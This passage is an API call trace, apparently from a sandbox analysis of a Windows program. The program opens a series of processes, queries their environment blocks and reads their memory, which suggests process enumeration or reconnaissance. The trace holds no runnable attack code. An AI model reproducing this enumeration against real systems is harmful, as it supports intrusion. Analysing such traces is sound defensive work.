_Value=0x12b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4788") returned 0x0 [0359.528] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4788") returned 4 [0359.528] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.528] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.529] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x12b4) returned 0xa9c [0359.529] GetLastError () returned 0x0 [0359.529] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.529] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.529] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.529] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.529] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.530] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.530] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.530] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.530] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.530] malloc (_Size=0x66) returned 0xeb6310 [0359.530] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b6, lpBuffer=0xeb6310, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0359.532] free (_Block=0xeb6310) [0359.532] CloseHandle (hObject=0xa9c) returned 1 [0359.532] _ui64tow_s (in: _Value=0x1344, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0359.532] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4932") returned 4 [0359.532] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.532] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.533] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0xa9c [0359.533] GetLastError () returned 0x0 [0359.533] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.533] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.533] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.534] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.534] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.534] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.534] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.534] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.534] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.535] malloc (_Size=0x6e) returned 0xea9420 [0359.535] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2822be, lpBuffer=0xea9420, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9420*, lpNumberOfBytesRead=0x0) returned 1 [0359.535] free (_Block=0xea9420) [0359.535] CloseHandle (hObject=0xa9c) returned 1 [0359.535] _ui64tow_s (in: _Value=0x1388, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5000") returned 0x0 [0359.536] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5000") returned 4 [0359.536] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.536] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.537] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1388) returned 0xa9c [0359.537] GetLastError () returned 0x0 [0359.537] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.537] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.537] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.538] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.538] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.538] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.538] NtQueryInformationPro